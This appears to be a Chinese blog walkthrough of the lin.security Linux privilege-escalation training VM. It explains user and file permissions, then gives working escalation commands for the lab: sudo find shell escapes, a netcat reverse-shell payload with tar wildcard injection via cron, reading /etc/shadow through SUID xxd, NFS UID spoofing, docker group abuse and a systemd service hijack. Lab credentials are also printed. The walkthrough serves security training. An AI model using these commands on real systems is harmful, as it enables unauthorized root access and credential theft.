目录

in.security 提权靶场

in.security 提权靶场

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031092159.png-water_print lin.security 靶场 是 Linux 配置问题导致提权的靶场,它基于Ubuntu(18.04 LTS)的 Linux 虚拟机,靶场提供许多权限提升的漏洞供我们练习关于 linux 权限的相关知识,下面是这个靶场的下载链接: https://in.security/downloads/lin.security_v1.0.ova

靶场低权限用户:bob:secret

查看当前用户的权限whoamiid

查看系统的发行版本和内核版本lsb_release -auname -a

1 linux 下的权限划分

1.1 用户和组

用户组在 linux 系统上起着重要作用,它们为选定的用户提供了一种彼此共享文件的简便方法。它们还使系统管理员可以更有效地管理用户权限,因为他们可以将权限分配给组而不是单个用户。

Linux 用户分为管理员和普通用户,普通用户又分为系统用户和自定义用户。

  1. 系统管理员:即 root 帐户,UID 号为 0,拥有所有系统权限,它类似于 Windows 系统中的 administrator 帐户,是整个系统的所有者。
  2. 系统用户:Linux 为满足自身系统管理所内建的账号,通常在安装过程中自动创建,不能用于登录操作系统。UID 在 1-499 之间(Centos 7 为 1-999 之间)。像上面的 sshd、 pulse 等等用户即是此类用户。它类似于 Windows 中的 system 帐户,当然权限远没有 system 帐户高。
  3. 自定义用户:由 root 管理员创建供用户登录系统进行操作使用的账号,UID 在 500 以上(CentOS7 为 1000 以上)。它类似于 Windows 系统中 users 用户组中的帐户。

在 Linux 中的每个用户必须属于一个组,不能独立于组外在 Linux 中每个文件有所有者、所在组、其它组的概念同样,用户组的信息我们可以在 /etc/group 中查看

1.2 /etc/passwd 文件

在 Linux 的 /etc/passwd 文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。

给 linux 系统添加账户:useradd -g group -d /home/to/user -m username

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031101512.png-water_print

字段含义:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031101745.png-water_print

1.3 /etc/shadow 文件

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031102803.png-water_print

字段含义:

用户名:加密密码(! ! 表示无密码):最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段

加密的密码具有固定格式: $id$salt$encrypted

  • id 表示加密算法,1 代表 MD5,5 代表 SHA-256,6 代表 SHA-512
  • salt 为盐值,系统随机生成
  • encrypted 表示密码的 hash 值

1.4 文件权限

linux 系统中,一切皆文件,包括普通文件、目录、设备、套接字等

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031103535.png-water_print

rwx对目录的权限

r:表示具有读取目录结构列表的权限,表示可以查询该目录下的文件名数据。 即可以 ls

w:表示可以对该文件夹下的文件或目录进行添加、删除、重命名、复制、剪切等操作

x:表示可以用户能否进入该目录成为工作目录(当没有 x 权限,但是有 w 权限时,也是无法向文件写入文件的)

1.5 特殊权限

  • SUID
    • 该文件在执行的时候,会切换到所有者的权限执行
  • SGID
    • 该文件在执行的时候,会切换到所有组的权限执行
  • SBIT
    • 只有自己和管理员可以操作当前文件

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031105116.png-water_print

2 sudo 权限配置不当提权

sudo 其实是很常用的命令了,sudo 权限则是 root 把本来只能超级用户执行的命令赋予普通用户执行,这里的命令指的是系统命令,对于 linux 来说一切皆是文件,所以系统命令也是一个文件。

一般来讲当管理员需要某个用户在执行 root 权限的命令时,会去配置 sudo。具体是修改 /etc/sudoers 这个文件。但是普通用户其实是查看和操作这个文件的,他只能查看自己是否被配置了 sudo 权限。普通用户可以采用 sudo -l 这个命令来查看自己是否有 sudo 配置。 https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031093053.png-water_print

bob 这个用户可以执行很多的命令,利用这些命令可以简单直接提升到 root 权限。

2.1 /bin/ash

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031093521.png-water_print

2.2 /usr/bin/awk

查看密码文件 /etc/shadow https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031094733.png-water_print

2.3 /usr/bin/curl

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031095628.png-water_print

2.4 /usr/bin/find

获取shell find . -exec /bin/sh \; -quit

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031095809.png-water_print

可以发现,哪怕是 find 这种查找命令被赋予了 sudo,也能提权为 root 权限,只要我们能够巧妙的利用执行这些命令。限于篇幅,就不给出所有命令的利用方式了,我们可以参考资源 https://gtfobins.github.io/ ,里面涵盖了许多可以被利用的命令。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031095414.png-water_print

3 /etc/passwd的哈希

linux 的用户密码哈希存储在 /etc/shadow 这个文件,而这个文件普通用户是无法查看的。而普通用户能够查看到的则是 /etc/passwd 这个文件。如果我们查看 /etc/passwd 通常会看到以下内容:

1
root❌0:0:root:/root:/bin/bash

如果有一个账户的第二列是密码哈希,如果该列为 x 则代表密码哈希存储在 /etc/shadow 文件上。而在 lin.security 虚拟机上可以看到像 insecurity 这么一个账户,这个账号的 uidgid 都为 0。用类似 Johnny 或者 hash-identifier 会被表示成 descrypt,进而可以被破解出来。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031100550.png-water_print

通过查询,可得密码为P@ssw0rd11。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031100710.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031100948.png-water_print

4 利用定时任务cron以及通配符

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031101109.png-water_print

每隔1分钟定期执行 /etc/cron.daily/backup 这个文件。 https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031101427.png-water_print

这里涉及到了利用通配符进行 Linux 本地提权,我们需要另开一个 bob 的 ssh 会话。

使用 msfvenom 生成 nc 反弹一句话,命令如下:

-p:payload

R:RAW 原始数据

1
2
3
4
5
6
root@kali:~# msfvenom -p cmd/unix/reverse_netcat lhost=127.0.0.1 lport=8888 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 91 bytes
mkfifo /tmp/kuhdq; nc 127.0.0.1 8888 0</tmp/kuhdq | /bin/sh >/tmp/kuhdq 2>&1; rm /tmp/kuhdq

然后分别执行:

1
2
3
bob@linsecurity:~$ echo "mkfifo /tmp/kuhdq; nc 127.0.0.1 8888 0</tmp/kuhdq | /bin/sh >/tmp/kuhdq 2>&1; rm /tmp/kuhdq" > shell.sh && chmod +x shell.sh
bob@linsecurity:~$ echo "" > "--checkpoint-action=exec=sh shell.sh"
bob@linsecurity:~$ echo "" > --checkpoint=1

我们在另外一个会话终端开启 nc 监听:

1
nc -lvnp 8888

–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10) –checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION

这里的 –checkpoint-action 选项,用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。因此,选项 –checkpoint=1 和 –checkpoint-action=exec=sh shell.sh 作为命令行选项交给了 tar 程序。

5 利用隐藏文件

有时候隐藏文件会存放一些重要的信息,比如我们搜索 home 目录下的所有隐藏文件,并用 ls -al 显示出来。

1
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031105051.png-water_print

发现了 susan 这个用户有一个 .secret 的隐藏文件,发现里面存放 susan 这个用户的登陆密码。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031105152.png-water_print

6 利用 SUID

6.1 方案一

SUID 这个是 uid +s 的组合,s 指的是特殊权限。一般情况下,用户的权限是 3 位,比如 0755 这样的,默认特殊权限没有配置,但是如果超级管理员希望用户在执行一些特殊权限文件时,拥有 root 的权限,就会配置特殊权限。

比如说 passwd 这个命令,这个命令会修改 /etc/shadow 文件,而 /etc/shadow 只有 root 才能修改,本来 passwd 这个命令应该也只能 root 才能执行的。但是系统为了让普通用户能够修改自己的密码,对 passwd 这个命令赋予了特殊权限并添加了只能修改自己密码的限制。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031105347.png-water_print

由于 passwd 这个命令是做过限制的,所以赋予特殊权限是没有问题的,但是如果系统超级用户特殊权限乱用,就会导致提权的问题。 那我们怎么去寻找系统是否存在特殊权限配置的文件呢?可以使用如下命令快速查找所有 SUID 文件:

1
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

我们发现了如下一个文件 xxd。这个文件其实是命令文件,xxd 的作用是将一个文件以 16 进制的形式显示出来。他被配置了特殊权限,并且用户组为 itservices 是拥有执行权限 x 的。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031105638.png-water_print

这就很危险了,一旦 suid 和执行权限在一起就可能导致权限提升。

我们通过命令查看发现 susan 这个用户属于 itservices 这个用户组。

我们用它来查看 /etc/shadow 这个文件,更多利用方法可以参考https://gtfobins.github.io/gtfobins/xxd/.

1
xxd "/etc/shadow" | xxd -r

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031110243.png-water_print

find /dir -exec "command" 同样的提权效果。

6.2 方案二

除了上述的文件外,还发现了一个 other 角色拥有执行权限的文件,这个文件不限用户,所以危害更大。 https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031110406.png-water_print

参考https://gtfobins.github.io/gtfobins/taskset/#suid-enabled,发现该文件可以直接获取shell。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031110657.png-water_print

7 NFS 提权

nmap 扫描端口,查看开放服务:nmap -sS -Pn -p- -A IP

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031113629.png-water_print

看到开放 2049 端口,NFS 服务。也可以通过 rpcinfo -p IP 命令来确定主机上是否运行或挂载了 NFS 服务。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031114151.png-water_print

showmount 命令与以下参数一起使用时,可以进行信息收集,例如:

  • 挂载点
  • 连接的主机
  • 目录
1
2
3
showmount IP // 连接的主机
showmount -d IP // 目录
showmount -a IP // 挂载点

在 msf 中也有一个模块,可以用来列出导出文件夹:auxiliary/scanner/nfs/nfsmount

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031114459.png-water_print

账号 peter 的家目录可以被挂载:

1
2
mkdir /mnt/peter
mount 192.168.68.99:/home/peter /mnt/peter/

挂载好的 peter 的家目录,显示的文件的所有者和所属组分别为 1001 和 1005

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031115226.png-water_print

尝试在该目录下创建文件,发现权限不够。

即使我们在 kali 攻击机上是 root 用户,但是我们还是没有写入权限,因为默认情况下客户端的 root 身份会被主动压缩成匿名者。

可以伪造文件所有者的 UID 和 GID 来欺骗 NFS 服务器,创建一个 gid 为 1005 的用户组,接着创建 peter 这个账户 uid 指定为 1001,gid 指定为 1005。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031115413.png-water_print

切换客户端用户为 peter,服务端也认为是存在的用户 peter

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031115618.png-water_print

可以直接向 .ssh 文件夹下写入公钥,然后直接使用 ssh 登录。

8 利用 docker 组提权

可以发现 peter 属于 docker 组:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031115855.png-water_print

可以根据https://fosterelli.co/privilege-escalation-via-docker.html

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

9 systems 配置不当提权

历史上,Linux 的启动一直采用 init 进程:

1
2
3
sudo /etc/init.d/sshd start
# 或者
service sshd start

这种方法有两个缺点:

一是启动时间长。init 进程是串行启动,只有前一个进程启动完,才会启动下一个进程。

二是启动脚本复杂。init 进程只是执行启动脚本,不管其他事情。脚本需要自己处理各种情况,这往往使得脚本变得很长。

Systemd 就是为了解决这些问题而诞生的。它的设计目标是,为系统的启动和管理提供一套完整的解决方案。 使用了 Systemd,就不需要再用 init 了。Systemd 取代了 initd,成为系统的第一个进程(PID 等于 1),其他进程都是它的子进程。 Systemd 并不是一个命令,而是一组命令,涉及到系统管理的方方面面。 systemctl 是 Systemd 的主命令,用于管理系统。

1
2
# 重启系统
sudo systemctl reboot

查看 peter 用户的 systemd 配置,发现 peter 这个用户拥有 debug.service 文件,并且它对这个文件拥有读和写的权限。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20101031120819.png-water_print

如果服务器存在缺陷,可以被覆盖或者修改文件,可以通过修改低权限用户有权访问的 .service 文件并更改 run() 命令来将其转换为代码执行。重新启动服务时,将运行攻击者的命令。

查看 .service 文件,这里我们可以修改 ExecStart 文件,除此之外还可以修改 ExecStopExecReload 来在停止和重启服务时执行命令。 查看该 .service 文件:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20101031120959.png-water_print

ExecStart/root/debug,这是一个二进制服务并且该服务以 root 身份运行。 接下来为了利用,使用一个类似 ssh 可以 sudo 执行的方法。 让 root 身份来创建一个 systemdexpl.sh 脚本,将 /bin/bash 文件复制到 systemdbash 并设置一个 SUID 位并且赋予执行权限。

1
echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh

修改 debug.service 文件来调用我们的脚本(root 调用 debug.service,而 debug.service 又调用我们的 systemdexpl.sh 脚本)修改 ExecStart 为当前脚本。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191031121336.png-water_print